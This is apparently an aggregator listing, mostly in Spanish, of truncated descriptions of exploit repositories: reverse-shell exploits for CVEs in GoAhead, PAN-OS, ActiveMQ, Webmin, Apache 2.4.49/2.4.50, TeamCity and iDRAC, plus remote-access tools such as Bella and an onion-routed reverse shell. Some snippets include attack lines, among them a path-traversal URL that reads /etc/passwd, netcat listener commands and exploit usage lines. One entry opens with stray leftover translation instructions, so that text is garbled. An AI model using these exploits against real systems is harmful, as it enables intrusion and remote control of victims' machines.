CVE-2017-17562

CVE-2017-17562 RCE en servidor web GoAhead 2.5 3.6.5 Exploit independiente de reverse shell en Python 3 para CVE-2017-17562, funciona en versiones del servidor web GoAhead 2.5 3.6.5. Blog artículo aquí. Escrito y probado en Python 3.7 basado en POC y entorno vulnerable aquí. Parte del código toma...

CVE-2024-9474

PAN-OS CVE-2024-0012 and CVE-2024-9474 Python script generated from the blog post : https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/?123 It's all described there My comment on X : https://x.com/k4nfr3/status/1858993646923903103 reverse shell...

CVE-2023-46604

CVE-2023-46604 Construir docker-compose que contenga 2 imágenes: la máquina víctima y la máquina objetivo según el entorno requerido. En la máquina víctima, iniciar ActiveMQ. Cambiar a la máquina atacante: • Iniciar un servicio HTTP para enviar el PoC: python3 -m http.server • Usar netcat para...

gimmeSH

starting with " gimmeSH" then translated lines. Check for any code blocks: none. Make sure no extra text. gimmeSH Para pentesters que no quieren salir de su terminal. Pocas palabras gimmeSH es una herramienta que genera una hoja de trucos personalizada para Reverse Shell, File Transfer y Msfvenom...

Webmin-CVE-2022-0824-revshell

Webmin-CVE-2022-0824-revshell Descripción de la Vulnerabilidad Webmin 1.984 y anteriores - Exploit de privilegios del Administrador de Archivos CVE-2022-0824 y CVE-2022-0829 Usuarios de Webmin con menos privilegios que no tengan restricciones configuradas en el módulo del Administrador de Archivo...

tornado

tornado Reverse shell anónimo a través de la red onion usando servicios ocultos sin redireccionamiento de puertos Explora la documentación Reverse shell totalmente indetectable · Ver Demo · Anonimato a prueba de balas Tabla de Contenidos 1. ¿Qué es tornado? 2. Construido con 3. Comenzando...

CVE-2024-39069

Gestor de Pedidos 'Gestor de Peddios.exe' - Secuestro de DLL Un atacante coloca una DLL maliciosa llamada "d3d12.dll" en un directorio que la aplicación busca antes de encontrar la DLL legítima "d3d12.dll". Cuando se ejecuta la aplicación, carga la DLL maliciosa en lugar de la legítima, permitien...

CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- Penetration testing 1.1. Path Traversal Read /etc/passwd file !/bin/bash Script: exploitpathtraversal.sh Objective: Read /etc/passwd file from Apache 2.4.49 TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+ Exploiting...

CVE-2025-49113-Roundcube_1.6.10

CVE-2025-49113 – Roundcube 1.6.10 Ejecución Remota de Código Autenticada ⚠️ Aviso Este repositorio está destinado exclusivamente para fines educativos y de investigación. Todas las demostraciones se realizaron en un entorno de laboratorio controlado. El uso no autorizado de pruebas o la explotació...

CVE-2021-3456

CVE-2021-3456 A practical chain that starts with an innocuous PDF file and ends up in a reverse shell on an AWS EC2 instance The Beginning: Crafting a PDF Payload It all begins on the front end of the attack. Using PowerShell’s built‑in WScript object we embed a script inside a PDF that will be...

CVE-2023-42793

CVE-2023-42793 JetBrains TeamCity anterior a 2023.05.4 es vulnerable a un bypass de autenticación que lleva a RCE Uso Para obtener una reverse shell root@kitploit: python3 exploit.py Referencias https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/...

Bella

Bella Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS. 🍎 💻 What is it? Bella is a robust, pure python, post-exploitation and remote administration tool for macOS. Bella a.k.a. the server is an SSL/TLS encrypted reverse shell that can be dropped on...

CVE-2023-28771-PoC

CVE-2023-28771-PoC PoC for CVE-2023-28771 based on Rapid7's excellent writeup Requires the scapy Python library for sending IKE packets. root@kitploit: usage: CVE-2023-28771-poc.py -h --cmd CMD --lhost LHOST --lport LPORT rhost positional arguments: rhost options: -h, --help show this help messag...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI Usage : root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT More info: root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083...

ImageTragick-CVE-2016-3714-RShell

ImageTragick-CVE-2016-3714-RShell Estos son POCs mvg/svg de CVE-2016-3714 que utilizan bash, nc, php y otras herramientas para construir una reverse shell. Declaración Solo para investigación y hacking ético... Uso 1. Lado del servidor: nc -l - p port number 2. Sube las imágenes a sitios...

CVE-2024-10914-Exploit

Herramienta de Explotación SilverX 📌 Descripción SilverX Exploit Tool es un script de pruebas de penetración diseñado para detectar y explotar vulnerabilidades en aplicaciones web. Proporciona una interfaz tipo shell para ejecutar comandos de forma remota en sistemas vulnerables. ⚠️ Aviso Legal...

CVE-2024-48061

CVE-2024-48061 Langflow vulnerable a ejecución remota de código CVE-2024-48061 poc Uso root@kitploit: python3 poc.py -i -p -l -lp Descripción Este script explota un endpoint API vulnerable en /api/v1/validate/code en el servidor web objetivo. Primero verifica la presencia de la ruta vulnerable,...

CVE-2018-1207-better

Exploit PoC para CVE-2018-1207: Dell iDRAC7/iDRAC8 RCE Reverse Shell Este repositorio contiene un script de prueba de concepto en Python para demostrar una vulnerabilidad de ejecución remota de código presente en dispositivos iDRAC7 e iDRAC8 con versiones de firmware 2.52.52.52 e inferiores. Este...

Reverse_DNS_Shell

DNShell v1.7 Descripción: Un Reverse Shell en Python que usa DNS como canal C2. Requiere: dnslib dnspython pycrypto Advertencias: no olvides cambiar tu HOST no olvides cambiar tu clave SECRETA ejecuta el servidor primero Más información:...

CVE-2018-14699

CVE-2018-14699 UnAuth Command injection in the enableuser function of DroboAccess v2.1 Usage: To use First startup a listener ncat -nvlp 1337 Next run the exploit example: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='host for exploitation, ex...